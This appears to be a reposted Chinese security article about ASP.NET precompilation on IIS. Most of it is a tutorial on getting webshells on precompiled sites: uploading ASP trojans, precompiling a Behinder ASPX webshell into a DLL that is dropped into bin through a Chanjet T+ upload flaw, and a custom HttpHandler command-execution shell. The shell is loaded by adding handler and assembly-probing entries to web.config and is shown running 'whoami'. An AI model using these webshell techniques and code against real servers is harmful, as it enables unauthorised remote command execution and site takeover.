IIS下.Net 的预编译模式
2022-10-17 10:9:21 Author: xz.aliyun.com(查看原文) 阅读量:16 收藏

引言

  IIS下部署.Net项目时,功能代码存储在.aspx、.cs、. ashx等文件中,首次访问,IIS会进行动态编译,生成缓存二进制代码文件,这一点与Tomcat等中间件容器类似,目的都是提高后续访问速度。
  当然,也可以在网站发布之前就对网站进行编译,称之为预编译
  预编译模式下将编译所有的.NET文件,当然HTML、图片、css等静态资源文件不包含在内,在预编译过程中编译器将创建的程序集存储于项目根目录下的Bin文件夹,另外也会同步到一个.NET特殊的目录 %SystemRoot%\Microsoft.NET\Framework\version\Temporary ASP.NET Files 文件夹下,Bin目录下会编译生成两类为文件,一类是扩展名为.compiled,该文件包含指向与该页相应的程序集名称;另一类文件是编译后的扩展名为.dll 的程序集文件。
  如果项目复杂,可以选择预编译模式没在网站发布前对代码进行编译,发布编译后的二进制文件。

预编译的好处

  • 性能。编译后的代码的执行速度要比诸如VBScript的脚本语言快得多,因为它是一种更接近于机器代码的表示形式,并且不需要进行其他分析。
  • 安全性。编译后的代码要比非编译的源代码更难进行反向工程处理,因为编译后的代码缺乏高级别语言所具有的可读性和抽象性。此外,模糊和混淆处理工具可以增强编译后的代码对抗反向工程处理的能力。
  • 稳定性。在编译时检查代码是否有语法错误、类型安全问题,以及其他问题。通过在生成时捕获这些错误,可以消除代码中的许多错误。
  • 广泛的引用性。由于MSIL代码支持任何.NET语言,因此可以在代码中使用最初用其他语言编写的程序集。例如,如果正在用C#编写ASP.NET网页,可以添加对使用Visual Basic编写的.dll文件的引用。

编译可选项

  在网站发布时的一些选项和说明如下:

  除了图形化界面操作预编译之外,Visual Studio还提供了命令行下的可执行程序aspnet_compiler 预编译.NET项目,具体的命令和释义如下:

aspnet_compiler -v /Lib -p D:\Project\web D:\release\web -fixednames


  经过编译后项目文件夹中的所有.aspx, .ashx及App_Code中的.cs文件都会被编译成DLL文件,静态资源文件将不变,且复制到目的文件夹里。

PrecompiledApp.config

  .NET预编译项目后会多出一个Precompiled.config文件,此文件用来控制当前站点预编译状态,内容如下最关键的是updatable选项,当配置为 false 时,整个项目为预编译不允许更新,意思就是传入.cs文件将不能运行;只有为true的情况下才能正常运行.cs这样未编译的文件,另外此文件内容的更改或文件删除,均需要重启IIS才能生效

<precompiledApp version="2" updatable="true"/>

预编译模式下获取webshell的方法

ASP脚本

  由于保证兼容性,IIS对早前的ASP脚本一直支持,但是比较新的版本中,默认不开启对ASP的支持,例如IIS10里默认是不启用的,需要在应用程序功能配置上勾选上ASP,这样在.NET预编译模式下通过上传ASP木马可以GetShell,因为ASP脚本由 %windir%\system32\inetsrv\asp.dll 负责处理请求而.NET由 %windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll 负责处理,所以和.NET无关。IIS10里启用ASP配置如下

将Webshell预编译化后上传到bin目录(以畅捷通T+文件上传漏洞为例)

  选择冰蝎Webshell的ASPX文件。
  将aspx的webshell放入文件夹D:\Projects\WebSite2\App_Code\web,

  然后执行:

aspnet_compiler.exe -v \ -p [aspxshell文件夹] [生成文件输出文件夹] -fixednames


  得到dll和compiled、PrecompiledApp.config文件:


  将PrecompiledApp.config放到网站根目录(采用预编译模式下的畅捷通T已经存在该文件,可以跳过这个文件的上传)。将dll、compiled文件放入bin目录(利用上传漏洞)。访问load.aspx即可得到webshell。
  注意:由于畅捷通T运行在未勾选“允许更新预编译站点”的状态下,所以,无法直接执行aspx文件

利用Web.config

  在预编译模式下唯一不编译的就是网站配置文件:web.config,它不参与编译并可以随时对站点目录下的Web.config 文件进行修改,而无需重新编译网站。有一种不能跨目录上传的场景(因为不能跨目录上传,所以编译好的DLL文件无法传至Bin目录下,从而不能GetShell),假定任意文件上传只能限定于固定目录下,比如/Lib/目录,而此时又满足对web.config文件的读写,这样的场景下可在编译的DLL里实现HttpHandler。

HttpHandler DLL

  IIS提供的ISAPI是根据文件名后缀把不同的请求转交给不同的处理程序,几乎所有的.NET应用程序都交给 aspnet_isapi.dll 去处理了,但是aspnet_isapi.dll对不同的请求采取不同的处理方式,查看C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config配置定义如下

  例如<add path="*.ashx" type="System.Web.UI.SimpleHandlerFactory" validate="True" verb="*"> 配置项中path属性是必选的,它的作用是指定路径可以包含单个URL或者简单的通配符字符串如 *.ashx ,表示默认任意文件名的一般处理程序ashx均可通过 System.Web.UI.SimpleHandlerFactory实现HTTP请求和响应, 其它的属性参考下表

  由于System.Web.UI.SimpleHandlerFactory继承于IHttpHandlerFactory,所以我们如果想创建自定义的处置Handlers ,就需要继承IHttpHandler类,基于Handlers编写一个小马,代码如下:</add>

public void ProcessRequest(HttpContext context)
    {
      string cmdline= context.Request["cmdline"];
      if (context.Request["method"] == "cmd")
      {
        Response.Write(ExeCommand(cmdline));
      }
    }

  在命令行下用csc.exe 生成 IsapiModules.Handler.dll ,生成 DLL 的命令如下

csc.exe /t:library /r:System.Web.dll -out:C:\out\IsapiModules.Handler.dll C:\Projects\test\IsapiModules.Handler.cs

  将生成的 IsapiModules.Handler.dll 上传到当前目录Lib下(利用上传漏洞),做到这步已经完成了GetShell的第一步。

Webconfig配置映射

  在站点根目录下的Web.config文件新增handlers/httpHandlers节点,我们选择在<handlers>标签内添加映射关系,一切URL请求带 .xxx的都从 IsapiModules.Handler 经过,配置详情如下:</handlers>

<system.webServer>
  <handlers accessPolicy="Read, Script, Write">
    <add name="PageHandlerFactory ISAPI 2.0 32" path="*.xxx" verb="*" type="IsapiModules.Handler,IsapiModules.Handler" preCondition="integratedMode" resourceType="Unspecified"/>
  </handlers>
</system.webServer>

  但做到这里还不够,因为这样IIS只会去bin目录下寻找IsapiModules.Handler.dll文件,找不到就会抛出异常,可我们上传的dll位于Lib目录下,所以还需要增加一处配置,<probing privatepath="Lib"> 用于探索指定目录下的程序集并自动加载,如下</probing>

<configuration>  
   <runtime>  
      <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">  
         <probing privatePath="Lib"/>  
      </assemblyBinding>  
   </runtime>  
</configuration>

  这样就好了,http://localhost/anywhere.xxx?method=cmd&cmdline=whoami


文章来源: https://xz.aliyun.com/t/11765
如有侵权请联系:admin#unsafe.sh